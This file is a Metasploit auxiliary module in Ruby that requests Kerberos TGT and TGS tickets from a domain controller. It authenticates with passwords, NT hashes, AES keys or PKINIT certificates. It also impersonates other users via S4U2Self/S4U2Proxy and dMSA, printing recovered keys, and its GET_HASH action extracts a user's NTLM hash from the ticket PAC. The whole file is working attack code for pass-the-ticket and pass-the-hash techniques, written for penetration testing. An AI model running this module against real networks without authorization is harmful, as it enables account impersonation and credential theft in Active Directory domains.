##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Kerberos
  include Msf::Exploit::Remote::Kerberos::Client
  include Msf::Exploit::Remote::Kerberos::Ticket::Storage

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kerberos TGT/TGS Ticket Requester',
        'Description' => %q{
          This module requests TGT/TGS Kerberos tickets from the KDC
        },
        'Author' => [
          'Christophe De La Fuente', # Metasploit module
          'Spencer McIntyre', # Metasploit module
          # pkinit authors
          'Will Schroeder', # original idea/research
          'Lee Christensen', # original idea/research
          'Oliver Lyak', # certipy implementation
          'smashery' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'AKA' => ['getTGT', 'getST'],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ],
          'Reliability' => [ ]
        },
        'Actions' => [
          [ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
          [ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
          [ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
        ],
        'DefaultAction' => 'GET_TGT',
        'AKA' => ['PKINIT'],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1550_003_PASS_THE_TICKET],
          ['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]
        ]
      )
    )

    register_options(
      [
        OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
        OptString.new('USERNAME', [ false, 'The domain user' ]),
        OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
        OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
        OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
        OptEnum.new('IMPERSONATE_TYPE', [true, 'The impersonation type to use when requesting a TGS', 'none', ['auto', 'generic', 'none', 'dmsa'], 'none']),
        OptString.new(
          'NTHASH', [
            false,
            'The NT hash in hex string. Server must support RC4'
          ]
        ),
        OptString.new(
          'AES_KEY', [
            false,
            'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
          ]
        ),
        OptString.new(
          'SPN', [
            false,
            'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
          ],
          conditions: %w[ACTION == GET_TGS]
        ),
        OptString.new(
          'IMPERSONATE', [
            false,
            'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
          ],
          conditions: %w[ACTION == GET_TGS]
        ),
        OptKerberosCredentialCache.new(
          'Krb5Ccname', [
            false,
            'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
          ],
          conditions: %w[ACTION == GET_TGS]
        ),
      ]
    )

    deregister_options('KrbCacheMode')
  end

  def validate_options
    if datastore['CERT_FILE'].present?
      pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
      @pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]

      if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
        fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
      elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
        fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
      end

      begin
        @username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
      rescue ArgumentError => e
        fail_with(Failure::BadConfig, e.message)
      end
    else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
      @username = datastore['USERNAME']
      fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?

      @realm = datastore['DOMAIN']
      fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
    end

    if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
      fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
    end

    if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
      fail_with(Failure::BadConfig,
                'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
    end

    if action.name == 'GET_TGS' && datastore['SPN'].blank?
      fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
    end

    if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
      fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
    end

    if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
      fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
    end

    if datastore['IMPERSONATE'].present? && datastore['IMPERSONATE_TYPE'] == 'none'
      fail_with(Failure::BadConfig, 'IMPERSONATE_TYPE must be set to "generic", "dmsa" or "auto" when IMPERSONATE is provided')
    end
  end

  def run
    validate_options

    result = send("action_#{action.name.downcase}")

    report_service(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: 'kerberos',
      info: "Module: #{fullname}, KDC for domain #{@realm}"
    )

    result
  rescue ::Rex::ConnectionError => e
    elog('Connection error', error: e)
    fail_with(Failure::Unreachable, e.message)
  rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
         ::EOFError => e
    msg = e.to_s
    if e.respond_to?(:error_code) &&
       e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
      msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
    end
    fail_with(Failure::Unknown, msg)
  end

  def init_authenticator(options = {})
    options.merge!({
      host: rhost,
      realm: @realm,
      username: @username,
      pfx: @pfx,
      framework: framework,
      framework_module: self
    })
    options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
    if datastore['NTHASH'].present?
      options[:key] = [datastore['NTHASH']].pack('H*')
      options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
    end
    if datastore['AES_KEY'].present?
      options[:key] = [ datastore['AES_KEY'] ].pack('H*')
      options[:offered_etypes] = if options[:key].size == 32
                                   [ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
                                 else
                                   [ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
                                 end
    end

    Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
  end

  def action_get_tgt
    print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")

    # Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
    authenticator.request_tgt_only
  end

  def action_get_tgs
    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
    tgt_request_options = {}
    if datastore['Krb5Ccname'].present?
      tgt_request_options[:cache_file] = datastore['Krb5Ccname']
    end
    credential = authenticator.request_tgt_only(tgt_request_options)

    if datastore['IMPERSONATE_TYPE'] == 'dmsa'
      print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")

      sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
        name_string: [
          'krbtgt',
          @realm
        ]
      )

      nonce = rand(0..0x7FFFFFFF)
      auth_options = {
        sname: sname,
        nonce: nonce,
        impersonate: datastore['IMPERSONATE'],
        impersonate_type: datastore['IMPERSONATE_TYPE']
      }
      tgs_ticket, tgs_auth, tgs_credential = authenticator.s4u2self(
        credential,
        auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
      )

      tgs_auth.pa_data.each do |pa_data|
        if pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE
          dmsa_key_package = Rex::Proto::Kerberos::Model::DmsaKeyPackage.decode(pa_data.value)
          print_dmsa_key_package_info(dmsa_key_package)
        end
      rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e
        print_error("#{peer} - Failed to decode dMSA Key Package: #{e.message}")
        next
      end

      auth_options[:tgs_ticket] = tgs_ticket
      auth_options[:credential] = tgs_credential
      auth_options
    elsif datastore['IMPERSONATE_TYPE'] == 'generic'
      print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")

      sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
        name_string: [@username]
      )
      auth_options = {
        sname: sname,
        impersonate: datastore['IMPERSONATE']
      }
      tgs_ticket, _tgs_auth = authenticator.s4u2self(
        credential,
        auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
      )

      auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
        name_string: datastore['SPN'].split('/')
      )
      auth_options[:tgs_ticket] = tgs_ticket
      authenticator.s4u2proxy(credential, auth_options)
    else
      print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")

      sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
        name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
        name_string: datastore['SPN'].split('/')
      )
      nonce = rand(0..0x7FFFFFFF) # nonce should be a signed 32-bit integer
      tgs_options = {
        sname: sname,
        nonce: nonce,
        ticket_storage: kerberos_ticket_storage(read: false)
      }

      authenticator.request_tgs_only(credential, tgs_options)
    end
  end

  def print_dmsa_key_package_info(dmsa_key_package)
    print_status('dMSA Key Package:')

    print_status('  Current Keys:')
    dmsa_key_package.current_keys.each do |key_set|
      key_set.each do |key|
        type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
        value = key[1][0]
        print_good("    Type: #{type}, Key: #{value.unpack1('H*')}")
      end
    end

    print_status('  Previous Keys:')
    dmsa_key_package.previous_keys.each do |key_set|
      key_set.each do |key|
        type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
        value = key[1][0]
        print_good("    Type: #{type}, Key: #{value.unpack1('H*')}")
      end
    end
  end

  def action_get_hash
    authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
    auth_context = authenticator.authenticate_via_kdc(options)
    credential = auth_context[:credential]

    print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")

    session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
      type: credential.keyblock.enctype.value,
      value: credential.keyblock.data.value
    )

    tgs_ticket, _tgs_auth = authenticator.u2uself(credential)

    ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
      tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
    )
    value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
    pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
    pac_info_buffer = pac.pac_info_buffers.find do |buffer|
      buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
    end
    unless pac_info_buffer
      print_error('NTLM hash not found in PAC')
      return
    end

    serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
    ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
    print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")

    report_ntlm(ntlm_hash)
    ntlm_hash
  end

  def report_ntlm(hash)
    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'kerberos',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :ntlm_hash,
      jtr_format: jtr_format,
      username: @username,
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: @realm
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end
end
